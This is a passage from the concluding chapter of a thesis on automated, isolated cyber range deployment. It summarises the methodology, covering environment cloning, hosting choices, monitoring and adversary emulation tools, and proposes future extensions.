attacks performed by the BAS Solution with alerts produced from the SIEM System, we conclude
that there is full detection coverage for the attacks performed. Launching more sophisticated
attacks to the cyber range, is out of the scope of this thesis and it is subject to research that can
be done using such technologies.
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6. Conclusion and Future Considerations

Throughout this thesis a unified methodology that facilitates a Cyber Range built after a specific
environment was developed and implemented. Various aspects and approaches of Cyber Range
deployments were examined, including the design of realistic environments, customized and
tailored implementations. Some important factors that define the methodology, deployment and
implementation of such environments include the intended usage, the effectiveness, the
modularity towards changes, configuration transparency as well as environment isolation.

6.1 Conclusion

In this thesis, we addressed the above factors to validate the viability of the steps constructing
the procured methodology. Initially, to derive the intended usage of our methodology based on
current market and research needs, background work was examined thoroughly. Based on this
research, the building blocks outlined for the intended usage include: 1) the accurate mapping of
the background environments, 2) determination of the required resources, 3) exploration of
sourcing options from the existing infrastructure and options regarding the new hosting platform,
4) automation deployment and monitoring suite launch. Mapping the background environments
is specific to each topology and requires additional effort that happens only once per source
environment that then can accommodate any changes. This means that each network of systems
demands individual attention to procure an exact copy of the original. The original topology also
dictates the amount of resources needed to re-produce it, although the replicated environment
might be able to run with reduced computing capacities at its disposal; just enough to be functional
but not enough to be production grade. To properly address this factor the minimum requirements
of each sub-system must be considered. Depending on the platform where the infrastructure is
hosted on, different sets of tools are given to handle the required functions around virtual
resources for image extraction and reproduction purposes. Given the broad spectrum of cloud
providers and virtualization platforms, each one supported by a different framework, separate
automation implementations are required to properly integrate this methodology to the respective
stacks. The same applies to the hosting platform of the new Cyber Range with some more
considerations. Factors like costs, modularity and isolation play a significant role in the selection
process for solutions. If the cloned topology size or architecture does not allow for hosting to be
on an on-premises virtualization platform, hosting it in a cloud provider is usually advised, but also
requires additional costs. The automation tools to be used for building a deployment automation
of a Cyber Range, differ again depending on the hosting platform, because usually it requires to
leverage platform-wide commands to apply all the necessary configurations and migrations. The
deployment of monitoring solutions and adversary emulation stack always depends on the kind
of monitoring that needs to be done, having in mind specific or unknown attack paths and
vulnerabilities. Open-source solutions can significantly contribute to such use cases, offering full
featured monitoring while also reducing the costs.

Moving on to the effectiveness factor, the deployment times, reproducibility, relative ease of use
and satisfactory produced outcome are some of the factors that shaped the approach.
Deployment times where optimized by converting and compressing the virtual resources data.
Reducing deployment times contributes significantly to error remediation by restoring quickly back
to the original state or even re-deploy the whole Cyber Range elsewhere, effectively multiplying
it. Also, keeping the original copies of the virtual resources ensures the re-producibility of the
environment, which can eliminate the copying times altogether if kept within the same node.
Regarding ease of use, the automation script is in human readable format, with friendly named
variables and comments that explain each line’s action. The result environment is a clone of an
original environment, with all the defining attributes, including vulnerabilities or strengths.
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Regarding modularity towards changes, for the existing environment, all changes can be
accommodated by capturing new versions of the environment images. This should not require
any changes to the deployment script except if any new or different network interconnections are
formed. In that case some variables might need to be re-defined interactively or not throughout
the script that will allow the user to include the performed changes. Any scaling requirement within
reasonable limits (that current virtualization technology with hardware computing density allows)
can be accommodated, because the hosting platform supports clustering which allows the
extension of the resources to more than one host.

The configuration transparency factor is addressed by having easily readable variables for the
inclusion or exclusion of on-demand resources, within an adjustable script based on the
requirements and specific attributes of the underlying environment.

The provided environment isolation is achieved through preconfigured networking that
encapsulates the internal interconnections of the Cyber Range within a separate isolated network.
This factor is an important parameter to procure a secure environment for testing and training that
does not affect production or any of the external infrastructure.

Considering the above challenges, open-source solutions performed admirably both in the
virtualization and the monitoring end, to the point of comparison with commercial solutions. In the
virtualization department different platforms offer distinct management interfaces, and therefore
require a unique procedure dictating the steps of deployment. In the monitoring and adversary
emulation ends, open-source tools covered a wide range of aspects but presented certain
shortcomings in comparison to respective paid solutions. For example, in case of CALDERA [28],
while there were a few operations available, none of them had the perspective of a known APT
group, while paid solutions like “Safebreach” do.

By addressing these significant gaps in automation, modularity, testing capabilities, and
scalability, this thesis contributes to the development of more robust and dynamic Cyber Range
environments. It not only provides a detailed framework for creating and managing these
environments but also ensures that they are equipped to simulate the complexities of real-world
cyber threats, making them an essential tool for cybersecurity training, testing, and research.

6.2 Future Considerations

The Cyber Range automated process can be expanded, by including an integrated monitoring
system, so that researchers can solely focus on the adversary emulation. Also, by doing such a
thing, it is ensured that the environment includes all necessary information from the environment
resources that help with the detections.

Existing projects like Ludus [5], are already stepping up and integrating other projects which might
also be the case with deployment automation scripts that create cloned infrastructure. These
scripts can be adapted to work with configuration files, like the Ludus [5] project and be offered
as one of the available configurations.

Enhancements on the script could be done regarding the inclusion of Large Language Models
(LLM) that can query, create alerts or dynamically tweak and strengthen monitoring and their
respective rules based on the stream of logs provided by the monitoring system. Also, machine
learning could be used to contextualize the templates used by the deployment automation,
according to generated configuration files, based on dynamically parsed asset inventory maps.
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Integration of more platforms, using the respective tools for each one can help with the overall
adaptation of this approach. The processes could be separated by creating different profiles for
each platform, both for sourcing and hosting of the environment. This will upgrade the automation
script to a universal solution that is compatible with any platform and content agnostic.

Another missing factor is Software as a Service (SaaS) and Code as a Service (CaaS) emulation
support. These are schemes offered by major cloud providers that require the use of their own
tailored tools, to be able to even extract and simulate them elsewhere.

Automated Deployment of Red Team and Blue Team Stacks on the new Cyber Range is
something that in most cases is needed and it should be offered as an option. There are many
frameworks that could be integrated, but there should be always the ability to just install the
necessary tools in a modular manner that will allow mixed attack frameworks, techniques etc.

Lastly, the integration of cutting-edge technologies into existing solutions is always something that
needs to be added in due time and cannot be foreseen. In general, there is much work left to be
done on numerous fronts that can further ease the usage of Cyber Range deployments and
eventually the cybersecurity community in total.
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